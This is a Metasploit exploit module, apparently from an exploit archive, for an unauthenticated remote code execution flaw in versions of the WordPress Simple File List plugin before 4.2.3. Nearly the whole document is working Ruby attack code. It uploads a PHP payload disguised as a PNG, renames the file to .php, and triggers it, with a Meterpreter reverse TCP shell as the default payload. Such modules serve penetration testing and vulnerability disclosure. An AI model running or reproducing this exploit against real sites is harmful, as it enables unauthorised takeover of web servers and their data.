WordPress Simple File List Unauthenticated Remote Code Execution

This Metasploit module exploits WordPress Simple File List plugin versions prior to 4.2.3, which allows remote unauthenticated attackers to upload files within a controlled list of extensions. However, the rename function does not conform to the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed to php and executed.


MD5 | 53dc99d870452eb23bdf7882ccb0c3e3

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Simple File List Unauthenticated Remote Code Execution',
'Description' => %q{
Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers
to upload files within a controlled list of extensions. However, the rename function does not conform to
the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed
to php and executed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'coiffeur', # initial discovery and PoC
'h00die', # msf module
],
'References' =>
[
[ 'URL', 'https://wpscan.com/vulnerability/10192' ],
[ 'URL', 'https://www.cybersecurity-help.cz/vdb/SB2020042711' ],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list' ],
[ 'EDB', '48349' ]
],
'Platform' => [ 'php' ],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' =>
[
[
'Default',
{
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2020-04-27',
'DefaultTarget' => 0,
'Notes' => {
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']),
]
)
end

def dir_path
'/wp-content/uploads/simple-file-list/'
end

def upload_path
'/wp-content/plugins/simple-file-list/ee-upload-engine.php'
end

def move_path
'/wp-content/plugins/simple-file-list/ee-file-engine.php'
end

def upload(filename)
print_status('Attempting to upload the PHP payload as a PNG file')
now = Date.today.to_time.to_i.to_s
data = Rex::MIME::Message.new
data.add_part('1', nil, nil, 'form-data; name="eeSFL_ID"')
data.add_part(dir_path, nil, nil, 'form-data; name="eeSFL_FileUploadDir"')
data.add_part(now, nil, nil, 'form-data; name="eeSFL_Timestamp"')
data.add_part(Digest::MD5.hexdigest("unique_salt#{now}"), nil, nil, 'form-data; name="eeSFL_Token"')
data.add_part("#{payload.encoded}\n", 'image/png', nil, "form-data; name=\"file\"; filename=\"#{filename}.png\"")

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, upload_path),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)

fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200
# the server will respond with a 200, but if the timestamp and token dont match it wont give back SUCCESS as it failed
fail_with(Failure::UnexpectedReply, "#{peer} - File failed to upload") unless res.body.include?('SUCCESS')

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.png"),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
# 404 could be AV got it or something similar
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}. File was uploaded successfully, but could not be found.") if res.code == 404
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200

print_good('PNG payload successfully uploaded')
end

def rename(filename)
print_status("Attempting to rename #{filename}.png to #{filename}.php")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, move_path),
'method' => 'POST',
'vars_post' => {
'eeSFL_ID' => 1,
'eeFileOld' => "#{filename}.png",
'eeListFolder' => '/',
'eeFileAction' => "Rename|#{filename}.php"
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200

print_good("Successfully renamed #{filename}.png to #{filename}.php")
end

def check
return CheckCode::Unknown unless wordpress_and_online?

# check the plugin version from readme
check_plugin_version_from_readme('simple-file-list', '4.2.3', '1.0.1')
end

def exploit
# filename of the file to be uploaded/created
filename = Rex::Text.rand_text_alphanumeric(8)
register_file_for_cleanup("#{filename}.php")

upload(filename)
rename(filename)
print_status('Triggering shell')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.php"),
'method' => 'GET'
)
end
end

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